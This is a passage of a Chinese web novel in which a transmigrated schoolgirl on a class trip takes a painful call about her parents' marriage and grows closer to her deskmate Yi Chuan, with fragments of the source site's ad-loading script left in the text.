叶舒和凌熙坐在狭小的酒店桌前写着要交给老师的社会实践日记。 凌熙特意为这次的“旅行”做了旅行手帐，写完要上交给老师的日记后便开始做自己的手帐。 叶舒就坐在她旁边，一同写。 凌熙画画能力极强，寥寥几笔便勾勒出今日前往过的景点场面。 叶舒：“你画得好好看。” 凌熙扬起脸笑了笑：“谢谢！对了，你不是也写日记的吗？我看你晚自习经常在写，我记得你好像也带来了，是这本吗？” 她指了指叶舒手边的笔记本。 “啊......”叶舒拿出了另一个笔记本，递给凌熙，“是这本，那本是随手记一些东西的。” 说着，叶舒将那本小的笔记本收进了包里。 将本子放进书包里时，叶舒注意到包里的几张相纸，怕被本子压着，她顺手拿出相纸。 首张便是下午王朗拍摄的她与易川的合照。 晚霞光在照片里色调有些泛红，将二人身后的天际也染红。 柔和光影下，远处的海面虽有些模糊，但也能看出浅浅的涟漪。 女生和男生并肩而立，叶舒微笑着比了个剪刀手，脸颊旁的几丝碎发随风飘扬被照片定格，易川长身鹤立，大概是顾着合影，表情没有往日那般冷，但脸上还是不见笑意。 叶舒注意到他两手背在身后。 甚少见他如此，想想他往日的性格，像这样与女生合影大概很少，小男生大概还是会有点局促。 想到这，叶舒不由得笑了笑。 凌熙：“这是今天拍的吗？我看看！” 叶舒将手中的数张相纸交予凌熙。 “好看。”凌熙看着今日与叶舒拍的合照说，随后顺便看起了其余的照片，“王朗真的好黑啊，在你旁边显得更黑哈哈哈！” 凌熙一张一张翻看着，随后看着叶舒与易川的合照评价道：“虽说易川平日里看着脸很臭很凶，但不得不说，他长得确实好看。” 叶舒听了凌熙这话，只是勾了勾唇，没说话。 “这张拍得真好看，他还挺配合你的。” 凌熙自顾自地说，叶舒挑了挑眉有些不信。 桌面的手机震动出声，屏幕亮起。 是叶舒的手机。 叶舒拿起手机看了看那条信息，随后抬头对凌熙说：“我出去打个电话。” 凌熙呆呆地噢了一声，见叶舒行事匆忙，便不好多问，看着叶舒背影匆匆离开。 叶舒出了房门，本想在楼层中空旷的地方打电话，却发现几名同班同学聚在廊中。 “嗨。”几名女生同时冲叶舒打招呼。 叶舒：“你们在......？” “我们在准备后天的晚会表演。”为首的女生回答了叶舒的问题。 叶舒这才记起社会实践最后一晚有晚会表演的活动，她们皆是班上派出的要表演的人。 她摁灭手机，摁下下行的电梯，冲她们笑了笑：“那你们排，不打扰你们。拜拜~” “拜拜~” 电梯来得很快，与同学道别后，叶舒便下到酒店大厅。 现在虽接近十点，但大厅中还有不少穿着校服的学生，三三两两的聚在一起，聊天嬉闹。 叶舒见这也不是个好打电话的地，只能出了酒店大门。 社会实践的地方在乡镇，早上还颇有市井人烟气，现下夜已深，人初寐，路上的车流量稀少，街上不见人影，冷清安静。 酒店正对着一条江，江对面的建筑皆未熄灯，泛着幽黄的光。连绵的灯带倒影映在江面上，晕开一层层光晕。 叶舒过了马路，站定在江边的石栏前。 仲夏夜晚的江风乍起，吹起她刚吹干的长发。 叶舒将遮在眼前的头发理好别在耳后，随后拿起手机，轻叹息着拨通了对面的电话。 几声嘟音后，电话接通了。 叶舒垂下眼帘，看着脚底的砖纹裂痕： “喂，妈。” “小舒。” 电话那头传来叶舒母亲疲惫的声线，透过听筒，声音听起来有些微颤飘忽。 听着母亲疲惫的声线，叶舒竟也有些累了，轻声开口：“怎么了？” 母亲长长地叹息了一声，悲伤着埋怨道：“你爸他今晚又和我吵起来了......” “他打你了吗？”叶舒急忙问。 “没有，只是吵了几句，他还是那个样子，看谁都阴恻恻的。” 听了这话，叶舒才松了口气。 她才离家一日，两人便又闹了别扭，而甚至她现下才高一。 叶舒记得自己高三那会儿，两人吵架的频率更高。 怎么样才能阻止，那样的担惊受怕她不想经历第二次。 “妈。”叶舒深吸了口气开口，“离婚吧，你就不考虑离婚吗？这样子生活下去你不累吗？” 您不累，她都累了。 叶舒抬眼，呆滞地望着平静的泛着粼粼波光的江面，视野逐渐虚焦。 听筒那边沉默了一会儿，然后才重新传出母亲疲惫不堪的声音： “你不懂，你每次都这么说，你以为离婚很容易吗？而且你还这么小，我们怎么可以看你小小年纪家庭就离异？” 还是类似的说辞。 叶舒听着烦闷，默默叹了口气便不再说话。 罢了罢了，她努力过了，只是人的执念与思想，若是没有上帝视角，即使再来一世怕是也改变不了。 听筒那边的声音继续传来：“而且，你爸......不吵架的时候也还好。” 叶舒：“......” 叶舒忍着气翻了个白眼，但还是缓和语气劝解道：“不吵架的时候好，可他不是在吵架就是在吵架的路上。即使他不和你吵架，你也说不舒服，说看着心烦，何必呢？你永远想着那么一点点的好就忍下去，但有些事只会越来越糟。” “那我能怎么办？我不能离婚，我不能遂了他的意......”母亲有些语无伦次，“而且，你觉得我舍得吗？我和你爸这么多年了，在一起这么多年了！他以前也不是这样的......” 闻言，叶舒哽声，不知说什么好。 她再知道不过，无论是当初还是现在，什么人伦纲常都只是借口，无非都是为了情字做假托。 每当母亲这么说时，叶舒便不知说什么了。 她虽恨铁不成钢，却无奈，毕竟她虽年纪小，却能感同身受。 情难自抑，她不能站在道德制高点指责母亲。 “会好的，一切都会好的......”母亲喃喃地保佑着。 这句呢喃就像咒语萦绕在母亲和她周围。 总说会好的、会好的，不过都是自我安慰的话语。 叶舒早已知道未来的状况，不过不会比现在的情况更好。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只是她不想告诉妈妈，也不必告诉，妈妈不会听的，也听不进去。 而且，她也不想以此再打击母亲的情绪了。 人总是要有点自我宽慰的想法。 母亲缓了会儿继续开口，反过来劝解叶舒道：“你也别这样说你爸，你爸虽然脾气古怪，对你也是好的，他对我不好没关系，只求他对你和对这个家还有点良心。” 叶舒按着突突跳着的太阳穴，不再说话。 “你也别担心了，我就是说给你听，跟你说出来我就好些了。”母亲说。 叶舒唇瓣翕张，想说什么最终还是咽了回去。 记得她那时，其实很害怕听到母亲晚上与她说父亲的事。 因为母亲一诉衷肠，便是一整晚。而且，每当叶舒安慰她、劝解她，她总是一时痛骂父亲，一时又像刚刚那样矛盾地为父亲说话。每次都是类似的抱怨，一样窝囊的结果，叶舒真的不想再听了，可看着母亲的愁容说不出伤人的话，只能安静地做着她的情绪垃圾桶。 每每回学校都像是暂时逃离了压抑的笼子，可是没想到她研学第一天，好不容易开开心心暂时忘却那些事，却还是逃不过被干扰的命运。 她也很想告诉母亲她好累，但于心不忍。 母亲在家面对那人本就够惨了，母亲无错，她有这样的心思也无错，错的是男人。 晚风吹拂江面，微微掀起层层叠叠的浪纹。 叶舒用手指敲着石栏，轻声回道：“没事，要有什么事你就发信息或者打电话给我就好了。总之别再想了，你想那么多自己也难受，还不如多出去走走。他过得那么舒坦，你还总是憋屈自己，不值得。” 母亲又问了些她今日研学上的事，寒暄几句后，这通电话才终结。 叶舒深深地叹了口气，从耳边拿下手机，耳廓似乎都有些滚烫了，凉风吹过才缓解些。 她缓缓移了步子，转身准备离开，却在下一刻停了步子。 她身后的不远处，站着一人。 那人穿着黑色T恤，融在夜色里，抱胸看着手机，手指在手机屏幕上划拉着。 那人听见动静，转过身来。 叶舒这才看清眼前人的脸——易川。 她心倏地停了一拍。 他怎么在这？ 她下意识握紧了手机。 他在这多久了？难不成她刚刚的电话他都听到了？ 易川朝叶舒方向走过来。 他大概是刚洗完澡，头发柔顺蓬松，身上还带着淡淡清香。夜色中看不清他的神情，只听见他轻佻的语气：“怎么？在外面就不与我打招呼了？” “没，我只是没想到你在这。” “我也没想到。” 尴尬寒暄完，场面一时静默，只听见不知哪传来的蛙声。 叶舒清了清嗓子，开口打破沉默：“你怎么在这？” 易川将手机放回兜里，走近她，说：“王朗说饿了，所以我下来看看有什么夜宵买。” 叶舒点了点头。 二人又陷入沉默。 叶舒侧头看他，见他一直没说话，她犹豫了一会儿，还是开口问：“你，刚刚在这呆多久了？” 易川：“有一会儿了。” 叶舒攥紧手，“那，你是不是听到我刚刚在打电话了？” 易川没说话，离得近，叶舒发觉他神色沉凝，他沉默了一会儿才说： “我不想撒谎，是听到了。” 38. 散步 “......” 叶舒猜到了，只是听易川主动说出来，心还是沉了下去。 毕竟谁也不希望自己的“家丑”被人知。 若是亲近的朋友叶舒倒也觉得没什么，毕竟她对父母这样的关系早已脱敏。 只是，总不想让易川知道。 叶舒：“你听到了多少？” 易川皱了皱眉，有些无谓地说：“不知道，我怎么知道你讲了多久？” 叶舒：“你就说你听到了什么？” 易川狐疑地转头看了叶舒一眼：“你这么想知道？” “是。”叶舒不带犹豫地回答。 易川见她执意，也不好再说什么，看向江面，说：“就，听到你和你妈妈在说你爸的事。” 他言语间略显遮掩，叶舒猜到他大约听了许多。 那么，她的家事他应当也是知道了。 见叶舒迟迟不说话，易川补充道：“我不是故意的，你就当我今天没听到。” 事已至此，叶舒也无可奈何。 她反过来安慰他：“没事，我并不觉得有什么好遮遮掩掩的，家家有本难念的经，我并不觉得难为情，能被你知道大概也是‘缘分’吧。” 叶舒坦然地说，大概是因为她太平静，易川反而有些不知所措，一时无话。 他踌躇了良久，说：“你心态挺好。” “是吧，”叶舒笑了笑，“我也觉得。” 易川：“你说得对，家家有本难念的经。其实——” 他说到一半不说了。 叶舒歪头看着他：“其实？” 易川垂着头看着地面，声线有些沉闷：“不是所有人都有你这么好的心态的。我爸妈对我比较散养，不太管我。” 叶舒愣了愣，没说话。 她没想到易川竟对她主动说了自己的家事。 原世界从未听过易川提过自己家事。 易川接着解释了一番：“也许你会觉得我在无病呻吟。不过他们不像你想的那样，就是——” 他望着空无一车的马路，微微皱眉，似在斟酌措辞：“比起不管，他们更像是忽略人，逼着我做不喜欢的事。” “我有两个哥，一个成绩很好，一个成绩平平，他们总说我和我那个成绩一般的哥哥很像，总说我不够懂事。” “成绩我没办法，不过我已经尽力不忤逆他们了。况且，我还有个弟弟，他们时常不在家，我还得照顾弟弟……这样想来，我也没有很不懂事吧。” 说完，易川弯了弯嘴角。 两人距离很近，叶舒难得见他这种姿态，心跳漏了一瞬。 他虽是笑着的，神情却不如叶舒坦然，分明是在意的。 更何况，叶舒对他的情况也算了解，她自然能猜到易川远没有表面看起来这般不在意。 “原来你家这么多小孩。”叶舒顺着他的话说下去，“其实我觉得你也挺懂事的。” 易川怔了一瞬，似是没想到她会这么认为，他转过头，有些狐疑地看着她。 “为什么你会这么觉得？” “就是，一种感觉吧。你是中间的孩子，跟上面的要被比较，对下面的弟弟还要照顾，难道不足以见你懂事吗？” 易川：“我平常在学校那样你还觉得我懂事？” “你在学校也尊重老师，上课也不会说话睡觉，老师也没有批评过你，这有什么不好？再说成绩好不好和懂事有什么关系？只是父母总觉得成绩很重要，难道成绩差就一定是忤逆父母的？”叶舒嘁了一声。 “而且，即使成绩好了，家长也犹嫌不够，要这也好那也好，要小孩绝对服从，如果是那样的懂事，真的有人做得到？他们小时候难道就完全懂事吗？” 叶舒的语气颇为批判不屑，不像在学校那般冷静乖觉，倒像平日易川那副“趾高气昂”的模样。 易川噗嗤一笑：“平时在学校倒看不出你那么‘叛逆’，不会是和我同桌久了被我带坏了？” 叶舒颇为好笑地瞧了他一眼：“少给自己脸上贴金，是你还不了解我而已，我本来也不像懂事的人。” 易川默默点了点头，若叶舒真是逆来顺受的，当初也不会和林康产生口角。 叶舒靠在石柱边，易川在她斜对面。 她想到什么，走近他，看着他眼睛说：“我没想到你竟然对我说这些。你是觉得不小心偷听不好，所以用同样的秘密和我交换吗？” 易川愣了会，对上叶舒那狡黠的眼眸，这才明白她是想借由这打趣他的功夫缓和先前沉重的氛围。 他勾了勾唇，借她刚刚的话说：“你倒也不必那么自恋。” 他这番话没什么攻击力，叶舒默默笑了笑，不甚在意。 难得感觉到易川有着符合这时候年龄的善良，安慰的方式还是愿意“一物换一物”，被人戳穿还不好意思。 若是那时的易川...... 想象不到。 毕竟那时候，两人根本不会有这样云淡风轻谈天的时候，更不会向对方互诉衷肠。 …… 道路旁一排的绿植，月光自枝叶稀疏处洒下，叶舒和易川并肩漫步在安静的街道上，树上不时落下叶子，易川抬手拍过。 小镇晚间安静，路边的店铺都暗着。 叶舒陪易川走着，注意路旁是否有营业的夜宵店。 走了好一段路都没看见营业的店铺，两人便拐角走到另一条街，才在尽头处望见一丝光亮。 两人步调一致，适才沉重的氛围还有所保留，暂时无人开口说话。 夏风吹了几阵，寂静难耐，叶舒见易川不曾说话，便主动起了话题：“说起来，你不是要买夜宵吗，怎么会在那？” 商铺在江对面，他大可不必过马路。 “就算你看见我在那，也不用一直站在那等我电话讲完吧？” 叶舒一脸怀疑地盯着易川，虽然她隐隐知道易川肯定是注意到她后便在那等她，但她想听易川如何解释。 易川避开她的目光，随口回应：“恰好看到你在那，就过去看看。深更半夜，不安全，只是没想到你电话打了那么久。” 他视线懒散地投向头顶的树枝，不时伸手触碰，一句话说得极为淡然。 但叶舒突然来了兴致，将话变了个意思，故意调侃：“噢，所以你是在怕我遇到危险吗？” 叶舒忍着打趣的笑意看着他，不过表面还是装作若无其事的模样。 “……你今天似乎格外自恋。”易川被她这副无赖弄得无言。 “是吗？”叶舒不以为意，“可能是跟某个自恋的人当同桌久了吧，是有点影响。” 易川听了这话，兀自扬了扬唇。 不知不觉间，叶舒觉得二人的肩膀相碰的频率更高了。 两人离那亮光处越走越近，抵达后发现是个便利店。 “要不买点东西？”叶舒试探着问。虽说两人相遇是意外，但时机正好，她自然想将两人独处时间拉长。 易川视线飘向她，表情有些犹豫。 正愁不知继续说什么留下易川时，一阵铃声突然响起，悦耳的音乐铃声把两人间稀薄的暖昧驱散干净。 是易川的手机响了——王朗的电话。 一接通电话，即便没有扬声，叶舒也听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 见了王朗那洪亮的大白嗓从手机里传来。 “易川你在哪啊？买个夜宵买那么久！” 易川有些不耐地蹙了蹙眉，“没看见卖吃的店，只看见个便利店。” “随便啦随便啦，买两桶泡面，饿昏了。快点回来啊，刚刚玩了几把游戏队员都菜得要死……” 易川默默挂断了手机，敲了几行字便把手机放回兜里。 既然王朗催他，叶舒也不想再接着留他。 陪易川买了东西后，二人便原路返回了酒店。 酒店大厅里，之前的那些聚集的学生少了不少，但仍有几位聚在一起聊着什么。 男生女生住的楼层不同，叶舒抵达自己的楼层后便和易川道别。 “我先走了。”叶舒朝他挥了挥手。 易川单手按着电梯按钮，冲她说：“早点休息。” 电梯门即将关上时，叶舒再度回头，易川连忙摁下开门键，“还有事吗？” 叶舒抿了抿唇，露出一丝微笑：“今天的事你就不要和别人说了吧，王朗也不要。” “当然。” 易川很快回答。 这点分寸他还是有的，叶舒相信他，只是重点本也不在这...... 叶舒喃喃开口：“有些东西压在心里，不如说出来会更痛快。” 易川眉心微动，似是不懂她突然这么说是何意。 叶舒见他装傻，便看向他，注视他道：“易川，我们是同学，是同桌。” 叶舒：“......是吧？” 闻言，易川直直地盯着她，漆黑的瞳孔内藏着深不见底的海。 一时间只剩下电梯间微微轰鸣的空调机运作声。 半晌，他才微微颔首： “好，你回去吧。” 叶舒终于露出了些许真实的欣慰的笑意：“晚安。” 她知道，他听懂了。 他听懂了她言外之意——“我们是朋友，是吧？” 她浅笑着看着那双深邃的眉眼被电梯门掩上，随后沉沉地松了口气，才敢彻底放松下来。 这意外偶遇实非她所愿，不过倒是让两人之间的关系更近了些，还多了些心心相惜的意味。 攻人，攻心是最重要的一步。 之前叶舒总纠结自己于易川来说不过只是一个普通同学，轻易便会被忽略和割舍。 与易川产生了羁绊，叶舒便不用再怕他心里没有她的位置，也不必再纠结两人的关系。 至少现在，经过今天这遭，易川会拿她当朋友。交不交心另说，他会不会真与她倾诉也不重要，至少她得做出这她有做这个样子便好。 叶舒穿过走廊，发现准备表演的同学还在排练。 见到叶舒后，一名同学叫住她交代说：“叶舒，凌熙出去了，说给你发信息你没回，怕你待会回来没房卡进不去，叫我们帮忙看着房间。” 叶舒看向自己的房间，果然虚掩着门。 “好，谢谢。” 叶舒向她们道谢后便进了房间。 房间内空无一人，刚刚的拍立得相片被凌熙整理好放在桌面上。 刚刚与易川说话都没空看手机，现在叶舒才有空掏出手机，发现凌熙早在10分钟前便给自己发了信息。 凌熙：【你回来了吗？组织部要开会，这房卡怎么办啊？】 ...... 凌熙：【我先去开会了，门没关，叫同学帮忙看着了。】 叶舒看着凌熙发给自己的信息。 组织部开会...... 凌熙是学生会组织部的，只是这研学期间怎么还要开会？ 39. 爬山 接近12点，凌熙才一脸疲惫地回来。 叶舒忙关心道：“怎么开会开那么晚？” 凌熙踢开拖鞋趴到床上，烦闷地长叹一声：“就周四晚上表演那事，是学生会负责的，组织部当然也要开会。” 说罢，凌熙歪着脑袋看叶舒，“对了，你咋去了那么久？” 她见叶舒临走前表情不是很好，当时本想多问的心思终究咽了下去。 叶舒：“我妈打电话。打完电话后见到了易川，聊了几句。” “啊？”凌熙来了兴趣，原本疲惫的眼神都变亮了，暧昧地挑了挑眉，“聊了这么久~~” “你这语气，不会也和其他人一样怀疑我俩吧？”叶舒洗漱过后，收拾着明日要带出门的背包。 “那倒没有。”凌熙翻了个身，撑着脑袋说，“就是感觉你对他挺不一样的。” 叶舒收拾行李的手顿了顿，但没说话，继续手中的动作，等着凌熙的下文。 凌熙看着天花板回想着两人之间的氛围分析道：“我也说不上来。可能因为你俩之前认识吧，感觉你明显不喜欢他，但是对他挺迁就。” “所以，你对他什么感觉啊？”凌熙坐起身，满脸好奇地问她，八卦之魂将她原有的疲惫都一扫而空，眼睛都闪起了光。 “因为——”叶舒歪着头思索了片刻，随后对凌熙隐秘一笑，“我要攻略他。” 还未等凌熙回应，叶舒耳边便响起刺耳的警告声。 系统：【警告警告！涉及敏感词汇！不准攻略者向系统世界的角色提及与任务有关的词汇！】 叶舒疼得嘶了一声，揉了揉耳朵。 “攻略什么？”凌熙不理解，愣愣地看着叶舒。 “开玩笑的。”叶舒改口，“因为逗他玩很有意思。” 她本来也是玩笑话，没想到系统还会警告。 所幸，凌熙没有在意，玩笑几句便去洗手间洗漱了。 叶舒收拾好东西上了床，一时半会儿睡不着，便望着天花板，想着凌熙刚刚的话。 她与易川虽坦荡，但两人相处久了，引人侧目必不可免。 他人的看法叶舒不是很在意，只要易川别误会就行。 不过凌熙这样说，她倒是放心了许多。 易川是个聪明人，当年江菱对他毫无心思他便没有任何行动，只要他没有十足的把握，便不会轻易行动。再者，上次吵架的事他应该吃到教训了，一时半会，他大概不会再找她“麻烦”。 “对了！！！” 思忖间，洗手间传来凌熙的惊叫声，下一秒她便跑了出来盯着叶舒叶舒，嘴里还咬沾满泡沫的牙刷。 凌熙：“有个大展身手的差事，你有没有兴趣？” 叶舒：“？” - 次日，早晨。 酒店的餐厅集聚了早起吃早餐的学生。 叶舒找了个靠窗的位置坐下。 她侧头看向酒店对面的街景。 清晨的街道上陆陆续续出现着匆匆的行人。 早晨的江面很平静无波，倒是没有昨夜的景观好看。 既想到昨夜，不免想到易川。 “凌熙怎么没和你一起吃？” 一道响亮的声音从远处传来，叶舒朝声源处望，王朗端着盘子神采奕奕地朝她这边过来。 他身后还跟着一个睡眼惺忪的易川。 真是说曹操曹操到。 昨晚的事还历历在目，叶舒不自然地挪开视线，闷头吃饭。 “乓！” 王朗大剌剌坐在叶舒对面的位置：“你怎么一个人，你们女生不都抱团的？这么孤独你能忍受？” 叶舒甚至懒得翻白眼了，横了他一眼便自顾自吃饭：“你整天和易川同出同进，我倒觉得你们男生更爱抱团。” “我这不和他一个房间嘛！”王朗爽朗地笑了笑，“知道你内心强大了，所以凌熙呢？” “她昨晚很晚睡，还没起。我先过来吃饭。”叶舒说完便端起盘子要走。 王朗连忙叫住她：“这么快就走？！有这么不想和我们呆吗？” 叶舒慢悠悠转过身回答：“我吃完了，当然要回去收拾东西。” “你怕我们？” 一直沉默着吃饭的易川忽然说话了。 叶舒动作一滞，回过头看他。 易川姿态散漫地坐着，歪着脑袋，饶有兴致地看着她，眼神里有些戏谑。 看他这副模样，大概是以为她觉得昨晚的事很尴尬，所以不想和他同坐一桌。 想到这，叶舒无奈地笑了笑。 果然是小男生，不就是昨天聊了点深度话题，还真以为拿捏了她？ 叶舒不甘示弱，也学着他轻佻的模样怼了回去：“我怕这样明目张胆地和你们一起坐，别人又以为我和你有什么关系。” 闻言，易川脸色微变。 叶舒内涵的自然是上次林康与他争执后所牵扯出来的事，他与她就算坦荡，却也难免遭人非议。 她自然不在乎，只是对欣赏易川的反应这件事乐此不疲。 很快，眼前的少年便从刚刚的吃瘪便变回了平日吊儿郎当的模样，并接上她的话：“你在乎这个？若谁要是造谣，那就——” 他顿住，似是没想好怎么说。 叶舒歪着头等他的下文：“那就怎么样？” “那就打回去。” 他悠悠地说，目光却带着一抹不容置疑的意味。 叶舒也不惊讶，挑了挑眉，顺着他的话说下去：“我打？” 易川：“那我打。” 未等叶舒反应他这话是否玩笑，王朗先惊讶地啊了一声： “别冲动......我们还是用点明智的方法吧，不要用武力。” 毕竟他已经见过易川和林康打架的场面，实在不想再劝一次架。 易川似笑非笑地看着王朗，看着瘆人，“开玩笑的。” 王朗：“......” 叶舒想看到画面已欣赏完毕，便趁两人说话之际离开，只留下一句：“你们慢慢吃，我先走了，拜拜。” ...... 王朗指着叶舒远去的背影说：“你看，把人家吓跑了吧。” “她能被我吓到？”易川斜了他一眼，随后看了一眼叶舒的背影，“人家只是单纯不想跟我们一起坐着吃饭而已。” 语毕，他自顾自地轻蔑地笑了笑。 王朗：“可别带上我啊，我人缘那么好，怎么会！” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 易川：“......” - “大家慢慢跟上啊，慢慢来！”导游挥舞着红色旗帜在队伍前面叮嘱着。 今日的实践行程是爬当地有名的高峰山。 叶舒抬头向山顶眺望，山路被一众学生的身影铺满，望不到尽头。 “唉~我不行了！” 凌熙扑通一声坐在一旁的石墩上。 叶舒本想说几句激励她的话，转头却注意到凌熙脸色苍白，额前冒了许多虚汗。 她看出不对，忙走上前拉住她，问：“你怎么了？” 凌熙喘了好一会儿，才憋出一句话：“我休息会儿就行。” “你脸色好苍白，嘴唇都发白了。”叶舒拿出纸巾给她擦汗，想起什么，继而问她，“你是不是没吃早餐？” 凌熙有些头晕目眩，思索了一会儿然后顿悟道：“有个面包放包里了，还没来得及吃。” 闻言，叶舒汗颜，有些恼道：“不吃早餐还爬了那么久，你也是神人。”她转头看向导游的位置，随后帮她从书包里找出那块面包，“我去叫老师过来，你先把面包吃了。” 她忙追上队伍前面向导游说了凌熙的情况，导游和老师很快赶来，见凌熙的状态不适宜再爬山，便遣了一名随行导游带凌熙下山，到就近的服务台休息。 凌熙不在，叶舒便与同班女生一起同行。 ...... 抵达山顶后，便又有一段自由活动时间。 山上聚集了同年级的学生，人山人海，远远望去，甚至比远处的云海还要壮观。 叶舒和同行的同学在拥挤的人潮中穿梭，几个小身板硬生生挤出了一条窄缝，才抵达山的看台。 视野变开阔的一瞬间，辽阔的景色也映入眼前，周围的喧嚣也戛然而止，被抛至脑后。 青白色云雾勾勒着深绿的山峦轮廓，流云的形状随风变化，晨间的日光将透白色的云层照亮，透着橙色的光线，美得令人一时间失去了言语。 叶舒望着这副景象也不由得愣神驻足。 “叶舒！快快快！快拍照！” 直至班长热情的声音才将她拉回现实。 看台人多，她们好不容易找了个少人又好看的角落，班长直接将叶舒推到取景地。 “拍我？！”叶舒瞪大双眼，一脸茫然，“我该做什么表情。” “随便你，你笑一笑就行了，诶对！好看好看！” 叶舒看着面前一排排陌生的脸，十分局促地微笑着，在班长“压力”的帮助下与这景色合了个影。 班长帮她拍完后，便立刻接上叶舒的位置。叶舒则拿起相机帮她拍照。 与叶舒完全相反，在这样人多的地方，班长倒是一点也不局促，不仅怡然自得，还不停地变换着动作，看得叶舒频频咂舌。 正当叶舒投入按快门时，肩头忽地被人拍了拍。 叶舒回头，便瞧见王朗那挂着惊喜的面孔。 “真是你啊！我还怕我认错了呢！” 环境嘈杂，但王朗的嗓门依旧洪亮。 他看向叶舒手机对着的方向，和班长热情地打了个招呼：“嗨！” 叶舒下意识地往他身后的方向望去，果然在一堆人中发现了那个高挑的身影。 40. 摔倒 虽然同是穿着校服，但易川个子高，在人群中尤为显眼。 他单肩跨着包，即使在这样拥挤局促的场景下，他还保持着平常那板正的身形，脸上带着淡淡的不耐烦。 他独自站在后边，没与她们打招呼。 “咋没看到凌熙，你们没一起走啊？”王朗疑惑道。 叶舒瞥了他一眼，边继续给班长拍照边回答他的问题：“她不舒服，老师已经把她带下山了。” “啊？这么体虚啊。不过她那小身板也是。”王朗自言自语，随后拍拍胸脯，自恋地说，“不像我，爬那么久都不带喘的，小小高峰山拿下！” “......” 叶舒嘴角微微扯了扯，侧目颇为不屑地上下打量了他一番。 王朗被她极为轻蔑的眼神看着不舒服，笑眯眯问道：“你这是什么表情？” “你出太多汗了，别离我太近。”叶舒眼睛都没瞟他一下，放下手机递还给班长，“拍好了，你看看。” “你嫌弃我啊？！”王朗见叶舒那嫌弃人的模样便气打不过一出来，甚至还耍赖着凑上前打算熏一下叶舒。 他上前的那一刻，背后有一股拉力将他拉退后了一步。 王朗怒气冲冲回头，随即看见易川同叶舒一样嫌弃的面孔。 “干嘛！”王朗质问道。 “别玩了，你不是要拍照吗？快点。”易川不耐地催促道，似乎在这样拥挤的地方呆不下去。 叶舒看着他，默默撇了撇嘴角——这是大少爷瘾犯了？ 王朗向他翻了个白眼，忿忿地拿出自己的相机，站在刚刚班长选的好位置，拍远处云山的景色。 “凌熙不在，你要不要和我们一起走？” 身侧传来易川的说话声，叶舒仰头，易川插着兜，话是在对她说，眼神却没落在她身上，望着远处的山景。 叶舒不愿：“我跟我舍友和班长她们走不就好了？” 易川顿了一会儿，点了点头：“你人缘挺好，周围从不缺人。” 叶舒微微皱眉：“你这话怎么怪阴阳人的？” “阴阳？”易川没懂她话的意思。 叶舒：“就是暗讽的意思。” 易川嗤笑了一声：“我没这意思。” 大概是昨晚两人意外敞开了心扉，叶舒觉得眼前这人忽然变得矫情起来，只是她并不吃这一套，便开玩笑回应：“羡慕？和我多学学。” 易川知道她在说什么，勾了勾唇：“男生和女生不一样。” 叶舒挑了挑眉，会错了意：“你也搞性别歧视那一套？我看班上的男生凑一块比女生还腻歪。” “你怎么老曲解我意思？”易川被她的脑回路弄得无言，“每个人都不一样，行了没？” “......”叶舒自知失言，不自然地抚了抚鼻子，“抱歉，说话冲了。” 易川见她“认错”那么迅速，也没继续纠结这不适宜的话题。 叶舒玩笑着说：“你不是有王朗吗？我看你俩挺‘黏糊’的，何尝不是一种双向奔赴。” 易川：“......神经。” 他嫌弃地斜了她一眼，便转过身准备离开。 人潮拥挤，他被堵在原地出不去，刚侧身往外走便被身旁的人撞上，身体不自然地向一旁歪去。 “喂——！” 叶舒见状，立刻伸出手去抓他的手臂—— 然而，她只抓到他的背包带。 人流涌动，不知被谁的脚绊倒，叶舒抓着易川的背包，连带着她本人向一旁倾。 “！！” 最后狼狈地摔在易川的身旁。 叶舒倒下的一瞬间，只想着早知道不抓着易川了。 这次没有上次那么好运，没有人扶着，并且...... 刚刚还拥挤着的人群，在她和易川摔倒后，竟自觉地让出了一小圈地方！ 叶舒微微抬眼打量了一下目前的状况，稍一抬眼，便被这尴尬的场景窘得立刻垂下眼。 众人正齐齐低头“观赏”着两人的窘相！ ——她想死...... “没看见人啊，别挤了！” 叶舒抬头，易川不知何时已然站起，环视了周围的状况后眼神落在她脸上，眉眼间带着明显的愠怒和嫌弃，不知是被气得还是热的，脖颈连带着耳后都是红的。 看台边围着的学生见有人摔倒，纷纷往外退了几步，闷热局促的空气这才得以流通。 见状，叶舒更尴尬了。 平常不见他说话，这时候竟然敢那么大声喊...... 她垂着头，佯装很忙地默默捡起自己的包。 随后，眼前出现一只修长的手。 叶舒一愣。 难道是易川？ “没事吧？” 陌生的声线令叶舒一怔。 她缓缓抬起头。 混乱的场景中，贺琛正弯着身有些关切地看着她。 贺琛？ 叶舒看着少年，下意识地就要念出他的名字，在“贺”字一音未冲出口前还是噤了声。 竟这么巧？ 叶舒拍了拍裤腿站起，有些局促地看着贺琛，“你......谢谢。” “没事，没摔哪吧？”贺琛的表现不像是认识她，倒像只是在关心陌生同学。 叶舒见状也不再拘谨，摇了摇头：“没事，谢谢你。” 人群四散，叶舒看向原来易川摔倒的地却没见到易川的身影。 “你找你朋友吗？”贺琛的声音在她身侧响起。 叶舒回头，见贺琛朝一个方向伸出手，“他似乎往那方向去了。” “好，谢谢。”叶舒向他道谢后，便挤出人群，朝贺琛指的方向过去。 没走几步路，果然找到了易川，他正在站在一棵榕树下，低着头不知在想什么，背影倒有些落寞。 叶舒走近他，“你没事吧？” 易川闻声，将手插回裤兜，又换上一副孤高的模样。 “摔了一跤大惊小怪的，又不是不能站起来了，难道还需要人搀扶吗？” 闻言，叶舒皱了皱眉，莫名觉得易川这话不对劲，但刚刚也算是她害得他摔倒，她心存愧疚，便不与他计较这口舌之争。 她换了个话说：“你刚刚怎么走了？” “怎么？你想我过去扶你？” 易川语气像吃了枪药一般，叶舒理解这年纪的男生众目睽睽摔了一跤定不好受，便再次忍了下来。 她不知道他跟这个“扶不扶”怎么过不去了，一脸黑线地否认：“......没有” 易川轻笑了一声：“我看有人扶你，见你没什么事，便走了。不然，还倒在那等人看笑话吗？” 也是，当下场面那么尴尬，易川那么社恐内向的人肯定更会想跑得远远的。 只是...... 叶舒：“你这么怕人，那你刚刚还在人群中竟然那么大声喊话。” 易川眯了眯眼，很是疑惑：“怕人？我？” 叶舒顿了顿，但还是硬着头皮点了点头，毕竟这是事实，易川不承认也得承认他平日就是这样。 